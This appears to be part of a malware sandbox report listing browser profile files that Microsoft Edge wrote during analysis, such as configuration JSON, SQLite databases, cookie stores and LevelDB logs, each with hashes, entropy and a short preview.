Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6478109200063322
Encrypted:	false
SSDEEP:	384:aj9P0lcAjlmgam6IqP/KbtZ773pLChfQkQerIRKToaAu:adnKlZaP/o74Je2IRKcC
MD5:	DD39AE37F6A8ED92C628CEF1E651F7C5
SHA1:	490D7FF61704A20C71D44E1857E73DF69A33B87A
SHA-256:	B99C06AD3962699554608EC95E0E2F231EB660334B164F64FB6AC6B44DFED76E
SHA-512:	4D5CDDF004E7B840B2C4444503BA515AC382A8E2796D2F0E8237F41301ED7B56574B85B611A8DC531C508999F57DB26B545FB7523F29818E524929459793B3EA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.260697104159581
Encrypted:	false
SSDEEP:	12:kaVIvVaYeb8rcHEZrELFUt8br/+blE75OaYeb8rcHEZrEZSJ:4VaYeb8nZrExg8sEtOaYeb8nZrEZe
MD5:	744EB946EA869B71426A5B4898ACC20F
SHA1:	BB4E23495D5DEFDAE37A234E4EE894EB29A5F70E
SHA-256:	1C4D3DBB3AB00004C6E3C37C5E585822A41A9E7631EC9B8B605B936FDC7A00FC
SHA-512:	972774B680366EA25B6EDE50A41F32DA685E0834CDA01C4B0FD63B4C38E6488A6716B98B8D0FFF92E667C692555AC07FE4853C4654F6CFD4B69AD1F97DDA5916
Malicious:	false
Preview:	2024/11/17-04:07:34.786 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-04:07:34.787 1c60 Recovering log #3.2024/11/17-04:07:34.788 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.260697104159581
Encrypted:	false
SSDEEP:	12:kaVIvVaYeb8rcHEZrELFUt8br/+blE75OaYeb8rcHEZrEZSJ:4VaYeb8nZrExg8sEtOaYeb8nZrEZe
MD5:	744EB946EA869B71426A5B4898ACC20F
SHA1:	BB4E23495D5DEFDAE37A234E4EE894EB29A5F70E
SHA-256:	1C4D3DBB3AB00004C6E3C37C5E585822A41A9E7631EC9B8B605B936FDC7A00FC
SHA-512:	972774B680366EA25B6EDE50A41F32DA685E0834CDA01C4B0FD63B4C38E6488A6716B98B8D0FFF92E667C692555AC07FE4853C4654F6CFD4B69AD1F97DDA5916
Malicious:	false
Preview:	2024/11/17-04:07:34.786 1c60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/17-04:07:34.787 1c60 Recovering log #3.2024/11/17-04:07:34.788 1c60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1411
Entropy (8bit):	5.598484162153134
Encrypted:	false
SSDEEP:	24:UOtZWbUlHtkEXlGevXv9ZRXZcWKiV03y1x4LHfhNKgFHHmQ5da2LoEJyNMyG:UOtZ2xwXvxXZLpV03Sx41HHHxda2LoEJ
MD5:	6A225C4265EDFE699F414C68435EB706
SHA1:	B437C3F9C966EDABC22BE2A9073FFBD3D337E674
SHA-256:	72737C3ABB5A9F4BB375DE14C92A73D1CC75E96455A8DC7974AB0C810B957436
SHA-512:	59007B5549BA5A8D7F7533966A0D67179B70481ADF245E791156B4EF4A2DE9ED73068D89EE10CDA31A9DF047E90DB815F5C249A34EBA7CDFA619B4E46E5AF8D5
Malicious:	false
Preview:	)0sP\|................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":458}.!_https://ntp.msn.com..LastKnownPV..1731834458022.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731834459523.._https://ntp.msn.com..MUID!.1701CF37518866E22255DA0D50AD67DC.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731834458107,"schedule":[24,26,-1,16,-1,-1,-1],"scheduleFixed":[24,26,-1,16,-1,-1,-1],"simpleSchedule":[10,48,30,26,34,27,31]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731834457948.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241115.411"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.157434302921158
Encrypted:	false
SSDEEP:	6:HURWhLN+q2PN723oH+Tcwt8a2jMGIFUt8YURWkZmw+YURm6FNVkwON723oH+Tcw2:kWxIvVaYeb8EFUt8bWk/+bm6F5OaYebw
MD5:	A1889EC5C1EB87DA3AC83E2C02DEB3BE
SHA1:	F47A3A320954D65AE6EF1EEB942A96FD5DD366E3
SHA-256:	20D48A78181D18A63C636D90253E7657905DB4E7F362C4D7413161C72E6CC369
SHA-512:	503CE6EBD714D5CA9E502103182D999E8B1FB01743CD3333A54934B67060221BDD7E297AE0EE8AFBB1D7DCC42E1F18A31AC27AC0B625B472EC103E4365137427
Malicious:	false
Preview:	2024/11/17-04:07:30.195 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-04:07:30.198 1e68 Recovering log #3.2024/11/17-04:07:30.202 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.157434302921158
Encrypted:	false
SSDEEP:	6:HURWhLN+q2PN723oH+Tcwt8a2jMGIFUt8YURWkZmw+YURm6FNVkwON723oH+Tcw2:kWxIvVaYeb8EFUt8bWk/+bm6F5OaYebw
MD5:	A1889EC5C1EB87DA3AC83E2C02DEB3BE
SHA1:	F47A3A320954D65AE6EF1EEB942A96FD5DD366E3
SHA-256:	20D48A78181D18A63C636D90253E7657905DB4E7F362C4D7413161C72E6CC369
SHA-512:	503CE6EBD714D5CA9E502103182D999E8B1FB01743CD3333A54934B67060221BDD7E297AE0EE8AFBB1D7DCC42E1F18A31AC27AC0B625B472EC103E4365137427
Malicious:	false
Preview:	2024/11/17-04:07:30.195 1e68 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/17-04:07:30.198 1e68 Recovering log #3.2024/11/17-04:07:30.202 1e68 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\318a9861-20de-4b96-b2aa-1a18f1ea8263.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\509d945c-d927-4522-b7d4-4179b7827cdf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6b956c39-9457-4965-889c-e715a21f740c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.30713737599018
Encrypted:	false
SSDEEP:	48:YcCpfgCzseftsnfcKsuleeIkBRsblCgHcYhbj:F2f98NkeIkBSTNh/
MD5:	A72F61DA953068433B7952B4EC8F0593
SHA1:	2D00832E9BDF44FD01E223CC3D786AB2E2F03733
SHA-256:	C086B5CEEDE0DC28B45F41EF2A4BBC41E539DDAECFCA59011A61D06202B767C7
SHA-512:	F32329874E70980DE1871C06571ED920118C35E79608776C0D9A44E095989B2BA189D2EE1314417B55ABFE5AFFF31DD64A3DDBB21B7CC48F94F0BCC76EFFFD3B
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378900052152512","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378900055931166","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13376401658052812","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\77bfb884-3882-49bd-beec-f6568e7c2f6e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7724925945808825
Encrypted:	false
SSDEEP:	384:VQYdlAO3+bF/w7pJAGN2J+n4uk0WsYP2MvWYHaHNXI0LhJVb:vHAosCu0LhJ9
MD5:	088F724E835914FCE1AC682EC1A82A52
SHA1:	98AD0A25128A5017FFCD8805E10046FAFFD7C9EA
SHA-256:	86095BF096BB019FE211243BC32D63FB677D21FDD2DD65A1C5FF07A02D0EB80F
SHA-512:	A7CB968EF1CEF84AABA402893200E7AAD152E886D5D8A6B25AE91930ACC17C6EAC24C134D3EBF4E1D9997C8530949EEDBFBD5316B741AEE82363BC9977A7CE68
Malicious:	true
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4c33d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.376772523706923
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS6mvd3+lGFh5DPFHaw1a:OIEumQv8m1ccnvS6IeKDN6r
MD5:	920EF4E282EAF190D445654789F398E9
SHA1:	2FEAC00C28129B6C4B7DB1EC1FDF031B034B0F40
SHA-256:	3158E8975F92748850053E8A2CE8F8C110E651B719E9677F80030B5C5FA3921B
SHA-512:	5B9309C062EAC261C9F7913E421E241DA7DF96EE1469CB394140D4035C8DE6D83253ECAEAD1E643E3B88FE352CB096A4F29F10E037F66D974E99FA9B8BBD3B62
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ba0a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ca46.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3d35e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF54aac.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\b05add1d-52cf-4b24-b553-993913bdbcdf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\caf8736a-df97-44ab-9cb4-03f78d686151.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\ea6489bd-4131-43eb-8c95-ce0d8ca87d05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f65874b2-aec3-4815-9b5d-d39871daeb01.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
